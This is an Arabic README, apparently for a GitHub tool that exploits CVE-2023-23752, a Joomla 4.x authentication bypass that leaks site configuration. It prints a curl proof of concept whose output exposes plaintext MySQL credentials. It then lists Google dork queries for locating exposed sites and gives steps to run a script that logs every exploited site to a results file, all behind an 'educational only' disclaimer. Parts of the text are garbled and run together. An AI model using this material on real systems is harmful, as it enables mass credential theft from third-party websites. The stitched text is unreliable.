
استغلال لـ CVE-2023-23752 (4.0.0 <= Joomla <= 4.2.7).
استغلال لـ CVE-2023-23752 (4.0.0 <= Joomla <= 4.2.7).
كما نوقش، فإن CVE-2023-23752 هو تجاوز للمصادقة يؤدي إلى تسرب معلومات. تستخدم معظم الاستغلالات العامة هذا التجاوز لتسريب تكوين النظام، الذي يحتوي على بيانات اعتماد قاعدة بيانات MySQL الخاصة بـ Joomla! بنص عادي. يوضح ما يلي التسريب:
$ curl -v http://10.9.49.205/api/index.php/v1/config/application?public=true
* Trying 10.9.49.205:80...
* TCP_NODELAY set
* Connected to 10.9.49.205 (10.9.49.205) port 80 (#0)
> GET /api/index.php/v1/config/application?public=true HTTP/1.1
> Host: 10.9.49.205
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 20 Mar 2023 15:14:05 GMT
< Server: Apache/2.4.41 (Ubuntu)
< x-frame-options: SAMEORIGIN
< referrer-policy: strict-origin-when-cross-origin
< cross-origin-opener-policy: same-origin
< X-Powered-By: JoomlaAPI/1.0
< Expires: Wed, 17 Aug 2005 00:00:00 GMT
< Last-Modified: Mon, 20 Mar 2023 15:14:05 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Content-Length: 1983
< Content-Type: application/vnd.api+json; charset=utf-8
<
{"links":{"self":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true","next":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20","last":"http:\/\/10.9.49.205\/api\/index.php\/v1\/config\/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"},"data":[{"type":"application","id":"224","attributes":{"offline":false,"id":224}},{"type":"application","id":"224","attributes":{"offline_message":"This site is down for maintenance.<br>Please check back again soon.","id":224}},{"type":"application","id":"224","attributes":{"display_offline_message":1,"id":224}},{"type":"application","id":"224","attributes":{"offline_image":"","id":224}},{"type":"application","id":"224","attributes":{"sitename":"vulncheck","id":224}},{"type":"application","id":"224","attributes":{"editor":"tinymce","id":224}},{"type":"application","id":"224","attributes":{"captcha":"0","id":224}},{"type":"application","id":"224","attributes":{"list_limit":20,"i* Connection #0 to host 10.9.49.205 left intact
d":224}},{"type":"application","id":"224","attributes":{"access":1,"id":224}},{"type":"application","id":"224","attributes":{"debug":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang_const":true,"id":224}},{"type":"application","id":"224","attributes":{"dbtype":"mysqli","id":224}},{"type":"application","id":"224","attributes":{"host":"localhost","id":224}},{"type":"application","id":"224","attributes":{"user":"root","id":224}},{"type":"application","id":"224","attributes":{"password":"labpass1","id":224}},{"type":"application","id":"224","attributes":{"db":"joomla_db","id":224}},{"type":"application","id":"224","attributes":{"dbprefix":"xj3n0_","id":224}},{"type":"application","id":"224","attributes":{"dbencryption":0,"id":224}},{"type":"application","id":"224","attributes":{"dbsslverifyservercert":false,"id":224}}],"meta":{"total-pages":4}}
في إثبات المفهوم أعلاه، يستجيب الخادم ببيانات الاعتماد root:labpass1، وهي بيانات الاعتماد لحساب MySQL التجريبي لـ Joomla!. لكن من المهم معرفة أن خادم MySQL التجريبي الخاص بنا كان مربوطًا بـ 127.0.0.1، لذلك لا يمكن للمهاجم عن بُعد الوصول إلى الخادم، مما يجعل بيانات الاعتماد غير مفيدة في الغالب. ربط MySQL بالمضيف المحلي (localhost) يجب أن يكون التكوين الأكثر شيوعًا، مما يحد بشدة من تسريب بيانات الاعتماد هذه.
تم تقديم هذا الاستغلال وإثبات المفهوم (PoC) للأغراض التعليمية والإعلامية فقط. القصد من مشاركة هذا هو إظهار الثغرات المحتملة في بيئة خاضعة للرقابة. الهدف هو تعزيز فهم مفاهيم الأمن السيبراني وتشجيع الإفصاح المسؤول.
من خلال الوصول إلى هذا الاستغلال وإثبات المفهوم واستخدامهما، فإنك تقر بأنك المسؤول الوحيد عن أفعالك وتوافق على استخدام هذه المعلومات وفقًا للقوانين واللوائح المعمول بها. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام أو عواقب تنشأ عن استخدام إثبات المفهوم هذا لأي غرض غير التعليم والإفصاح المسؤول.
requests, colorama , urllib3 , fake_useragent , aio-httpاستنساخ المستودع:
git clone https://github.com/Pushkarup/CVE-2023-23752.git
cd CVE-2023-23752
تثبيت حزم Python المطلوبة:
pip install -r requirements.txt
.txt.inurl:/api/index.php/v1/config/application?public=true , intitle:"Index of" /api/index.php/v1/config/application?public=true , filetype:php inurl:/api/index.php/v1/config/application?public=true , intitle:"Index of" AND intext:"config" AND intext:"application" AND intext:"public=true"شغّل السكريبت:
python joomla.py
اترك السكريبت يعمل واتبع التوجيهات.
سيتم حفظ كل موقع تم استغلاله في ملف Results.txt.
المساهمات مرحب بها! إذا وجدت أي مشكلات أو لديك تحسينات، فلا تتردد في فتح طلب سحب (pull request) أو إنشاء مشكلة (issue).
هذا المشروع مرخص بموجب MIT License.